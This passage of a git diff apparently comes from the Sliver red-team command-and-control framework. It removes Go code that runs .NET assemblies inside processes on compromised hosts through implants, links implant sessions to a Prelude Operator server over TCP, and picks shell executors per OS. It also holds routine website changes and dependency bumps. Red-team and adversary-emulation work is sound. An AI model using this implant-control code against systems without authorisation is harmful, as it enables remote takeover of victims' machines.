the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
# generated files
|
||||
public/sitemap.json
|
||||
public/docs.json
|
||||
public/tutorials.json
|
||||
/www.zip
|
||||
|
||||
# code editor files
|
||||
|
||||
@@ -7,6 +7,7 @@ import { useRouter } from "next/router";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
import Youtube from "./youtube";
|
||||
|
||||
export type MarkdownProps = {
|
||||
key?: string;
|
||||
@@ -131,6 +132,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
|
||||
);
|
||||
}
|
||||
|
||||
if (lang === "youtube") {
|
||||
const embedId = (children as string) || "";
|
||||
return <Youtube embedId={embedId.trim()} />;
|
||||
}
|
||||
|
||||
if (lang === "asciinema") {
|
||||
const asciiCast: MarkdownAsciiCast = JSON.parse(
|
||||
children as string
|
||||
|
||||
@@ -42,7 +42,7 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</div>
|
||||
|
||||
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
|
||||
<div className="flex w-full items-center">
|
||||
<div className="flex flex-row w-full items-center">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
@@ -54,17 +54,16 @@ export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<div className="justify-items-end">
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
className="ml-auto"
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
export type YoutubeProps = {
|
||||
className?: string;
|
||||
|
||||
width?: number;
|
||||
height?: number;
|
||||
|
||||
embedId: string;
|
||||
};
|
||||
|
||||
export default function Youtube(props: YoutubeProps) {
|
||||
return (
|
||||
<div className={props.className}>
|
||||
<iframe
|
||||
width={`${props.width ? props.width : 640}`}
|
||||
height={`${props.height ? props.height : 360}`}
|
||||
src={`https://youtu.be/embed/${props.embedId}`}
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -11,6 +11,7 @@ const nextConfig = {
|
||||
webpack: (config, { isServer }) => {
|
||||
if (isServer) {
|
||||
require('./prebuild/generate-docs');
|
||||
require('./prebuild/generate-tutorials');
|
||||
}
|
||||
return config;
|
||||
}
|
||||
|
||||
Generated
+74
-82
@@ -19,7 +19,7 @@
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next": "^14.2.22",
|
||||
"next-themes": "^0.2.1",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
@@ -383,9 +383,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.0.4.tgz",
|
||||
"integrity": "sha512-irQnbMLbUNQpP1wcE5NstJtbuA/69kRfzBrpAD7Gsn8zm/CY6YQYc3HQBz8QPxwISG26tIm5afvvVbu508oBeQ=="
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.22.tgz",
|
||||
"integrity": "sha512-EQ6y1QeNQglNmNIXvwP/Bb+lf7n9WtgcWvtoFsHquVLCJUuxRs+6SfZ5EK0/EqkkLex4RrDySvKgKNN7PXip7Q=="
|
||||
},
|
||||
"node_modules/@next/eslint-plugin-next": {
|
||||
"version": "14.0.4",
|
||||
@@ -397,9 +397,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-arm64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.0.4.tgz",
|
||||
"integrity": "sha512-mF05E/5uPthWzyYDyptcwHptucf/jj09i2SXBPwNzbgBNc+XnwzrL0U6BmPjQeOL+FiB+iG1gwBeq7mlDjSRPg==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.22.tgz",
|
||||
"integrity": "sha512-HUaLiehovgnqY4TMBZJ3pDaOsTE1spIXeR10pWgdQVPYqDGQmHJBj3h3V6yC0uuo/RoY2GC0YBFRkOX3dI9WVQ==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -412,9 +412,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-x64": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.0.4.tgz",
|
||||
"integrity": "sha512-IZQ3C7Bx0k2rYtrZZxKKiusMTM9WWcK5ajyhOZkYYTCc8xytmwSzR1skU7qLgVT/EY9xtXDG0WhY6fyujnI3rw==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.22.tgz",
|
||||
"integrity": "sha512-ApVDANousaAGrosWvxoGdLT0uvLBUC+srqOcpXuyfglA40cP2LBFaGmBjhgpxYk5z4xmunzqQvcIgXawTzo2uQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -427,9 +427,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-VwwZKrBQo/MGb1VOrxJ6LrKvbpo7UbROuyMRvQKTFKhNaXjUmKTu7wxVkIuCARAfiI8JpaWAnKR+D6tzpCcM4w==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.22.tgz",
|
||||
"integrity": "sha512-3O2J99Bk9aM+d4CGn9eEayJXHuH9QLx0BctvWyuUGtJ3/mH6lkfAPRI4FidmHMBQBB4UcvLMfNf8vF0NZT7iKw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -442,9 +442,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-8QftwPEW37XxXoAwsn+nXlodKWHfpMaSvt81W43Wh8dv0gkheD+30ezWMcFGHLI71KiWmHK5PSQbTQGUiidvLQ==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.22.tgz",
|
||||
"integrity": "sha512-H/hqfRz75yy60y5Eg7DxYfbmHMjv60Dsa6IWHzpJSz4MRkZNy5eDnEW9wyts9bkxwbOVZNPHeb3NkqanP+nGPg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -457,9 +457,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-gnu": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.0.4.tgz",
|
||||
"integrity": "sha512-/s/Pme3VKfZAfISlYVq2hzFS8AcAIOTnoKupc/j4WlvF6GQ0VouS2Q2KEgPuO1eMBwakWPB1aYFIA4VNVh667A==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.22.tgz",
|
||||
"integrity": "sha512-LckLwlCLcGR1hlI5eiJymR8zSHPsuruuwaZ3H2uudr25+Dpzo6cRFjp/3OR5UYJt8LSwlXv9mmY4oI2QynwpqQ==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -472,9 +472,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-musl": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.0.4.tgz",
|
||||
"integrity": "sha512-m8z/6Fyal4L9Bnlxde5g2Mfa1Z7dasMQyhEhskDATpqr+Y0mjOBZcXQ7G5U+vgL22cI4T7MfvgtrM2jdopqWaw==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.22.tgz",
|
||||
"integrity": "sha512-qGUutzmh0PoFU0fCSu0XYpOfT7ydBZgDfcETIeft46abPqP+dmePhwRGLhFKwZWxNWQCPprH26TjaTxM0Nv8mw==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -487,9 +487,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-arm64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-7Wv4PRiWIAWbm5XrGz3D8HUkCVDMMz9igffZG4NB1p4u1KoItwx9qjATHz88kwCEal/HXmbShucaslXCQXUM5w==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.22.tgz",
|
||||
"integrity": "sha512-K6MwucMWmIvMb9GlvT0haYsfIPxfQD8yXqxwFy4uLFMeXIb2TcVYQimxkaFZv86I7sn1NOZnpOaVk5eaxThGIw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -502,9 +502,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-ia32-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-zLeNEAPULsl0phfGb4kdzF/cAVIfaC7hY+kt0/d+y9mzcZHsMS3hAS829WbJ31DkSlVKQeHEjZHIdhN+Pg7Gyg==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.22.tgz",
|
||||
"integrity": "sha512-5IhDDTPEbzPR31ZzqHe90LnNe7BlJUZvC4sA1thPJV6oN5WmtWjZ0bOYfNsyZx00FJt7gggNs6SrsX0UEIcIpA==",
|
||||
"cpu": [
|
||||
"ia32"
|
||||
],
|
||||
@@ -517,9 +517,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-x64-msvc": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.0.4.tgz",
|
||||
"integrity": "sha512-yEh2+R8qDlDCjxVpzOTEpBLQTEFAcP2A8fUFLaWNap9GitYKkKv1//y2S6XY6zsR4rCOPRpU7plYDR+az2n30A==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.22.tgz",
|
||||
"integrity": "sha512-nvRaB1PyG4scn9/qNzlkwEwLzuoPH3Gjp7Q/pLuwUgOTt1oPMlnCI3A3rgkt+eZnU71emOiEv/mR201HoURPGg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -2815,11 +2815,17 @@
|
||||
"integrity": "sha512-2/U3GXA6YiPYQDLGwtGlnNgKYBSwCFIHf8Y9LUY5VATHdtbLlU0Y1R3QoBnT0aB4qv/BEiVVsj7LJXoQCgJ2vA==",
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/@swc/counter": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
|
||||
"integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.2",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.2.tgz",
|
||||
"integrity": "sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==",
|
||||
"version": "0.5.5",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz",
|
||||
"integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==",
|
||||
"dependencies": {
|
||||
"@swc/counter": "^0.1.3",
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
@@ -3430,11 +3436,11 @@
|
||||
}
|
||||
},
|
||||
"node_modules/braces": {
|
||||
"version": "3.0.2",
|
||||
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
|
||||
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
|
||||
"version": "3.0.3",
|
||||
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
|
||||
"integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
|
||||
"dependencies": {
|
||||
"fill-range": "^7.0.1"
|
||||
"fill-range": "^7.1.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
@@ -3515,9 +3521,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001570",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001570.tgz",
|
||||
"integrity": "sha512-+3e0ASu4sw1SWaoCtvPeyXp+5PsjigkSt8OXZbF9StH5pQWbxEjLAZE3n8Aup5udop1uRiKA7a4utUk/uoSpUw==",
|
||||
"version": "1.0.30001614",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001614.tgz",
|
||||
"integrity": "sha512-jmZQ1VpmlRwHgdP1/uiKzgiAuGOfLEJsYFP4+GBou/QQ4U6IOJCB4NP1c+1p9RGLpwObcT94jA5/uO+F1vBbog==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "opencollective",
|
||||
@@ -4531,9 +4537,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/fill-range": {
|
||||
"version": "7.0.1",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
|
||||
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
|
||||
"version": "7.1.1",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
|
||||
"integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
|
||||
"dependencies": {
|
||||
"to-regex-range": "^5.0.1"
|
||||
},
|
||||
@@ -4773,11 +4779,6 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/glob-to-regexp": {
|
||||
"version": "0.4.1",
|
||||
"resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
|
||||
"integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
|
||||
},
|
||||
"node_modules/globals": {
|
||||
"version": "13.24.0",
|
||||
"resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
|
||||
@@ -6511,11 +6512,11 @@
|
||||
]
|
||||
},
|
||||
"node_modules/micromatch": {
|
||||
"version": "4.0.5",
|
||||
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
|
||||
"integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
|
||||
"version": "4.0.8",
|
||||
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
|
||||
"integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
|
||||
"dependencies": {
|
||||
"braces": "^3.0.2",
|
||||
"braces": "^3.0.3",
|
||||
"picomatch": "^2.3.1"
|
||||
},
|
||||
"engines": {
|
||||
@@ -6587,18 +6588,17 @@
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/next": {
|
||||
"version": "14.0.4",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.0.4.tgz",
|
||||
"integrity": "sha512-qbwypnM7327SadwFtxXnQdGiKpkuhaRLE2uq62/nRul9cj9KhQ5LhHmlziTNqUidZotw/Q1I9OjirBROdUJNgA==",
|
||||
"version": "14.2.22",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-14.2.22.tgz",
|
||||
"integrity": "sha512-Ps2caobQ9hlEhscLPiPm3J3SYhfwfpMqzsoCMZGWxt9jBRK9hoBZj2A37i8joKhsyth2EuVKDVJCTF5/H4iEDw==",
|
||||
"dependencies": {
|
||||
"@next/env": "14.0.4",
|
||||
"@swc/helpers": "0.5.2",
|
||||
"@next/env": "14.2.22",
|
||||
"@swc/helpers": "0.5.5",
|
||||
"busboy": "1.6.0",
|
||||
"caniuse-lite": "^1.0.30001406",
|
||||
"caniuse-lite": "^1.0.30001579",
|
||||
"graceful-fs": "^4.2.11",
|
||||
"postcss": "8.4.31",
|
||||
"styled-jsx": "5.1.1",
|
||||
"watchpack": "2.4.0"
|
||||
"styled-jsx": "5.1.1"
|
||||
},
|
||||
"bin": {
|
||||
"next": "dist/bin/next"
|
||||
@@ -6607,18 +6607,19 @@
|
||||
"node": ">=18.17.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@next/swc-darwin-arm64": "14.0.4",
|
||||
"@next/swc-darwin-x64": "14.0.4",
|
||||
"@next/swc-linux-arm64-gnu": "14.0.4",
|
||||
"@next/swc-linux-arm64-musl": "14.0.4",
|
||||
"@next/swc-linux-x64-gnu": "14.0.4",
|
||||
"@next/swc-linux-x64-musl": "14.0.4",
|
||||
"@next/swc-win32-arm64-msvc": "14.0.4",
|
||||
"@next/swc-win32-ia32-msvc": "14.0.4",
|
||||
"@next/swc-win32-x64-msvc": "14.0.4"
|
||||
"@next/swc-darwin-arm64": "14.2.22",
|
||||
"@next/swc-darwin-x64": "14.2.22",
|
||||
"@next/swc-linux-arm64-gnu": "14.2.22",
|
||||
"@next/swc-linux-arm64-musl": "14.2.22",
|
||||
"@next/swc-linux-x64-gnu": "14.2.22",
|
||||
"@next/swc-linux-x64-musl": "14.2.22",
|
||||
"@next/swc-win32-arm64-msvc": "14.2.22",
|
||||
"@next/swc-win32-ia32-msvc": "14.2.22",
|
||||
"@next/swc-win32-x64-msvc": "14.2.22"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opentelemetry/api": "^1.1.0",
|
||||
"@playwright/test": "^1.41.2",
|
||||
"react": "^18.2.0",
|
||||
"react-dom": "^18.2.0",
|
||||
"sass": "^1.3.0"
|
||||
@@ -6627,6 +6628,9 @@
|
||||
"@opentelemetry/api": {
|
||||
"optional": true
|
||||
},
|
||||
"@playwright/test": {
|
||||
"optional": true
|
||||
},
|
||||
"sass": {
|
||||
"optional": true
|
||||
}
|
||||
@@ -8431,18 +8435,6 @@
|
||||
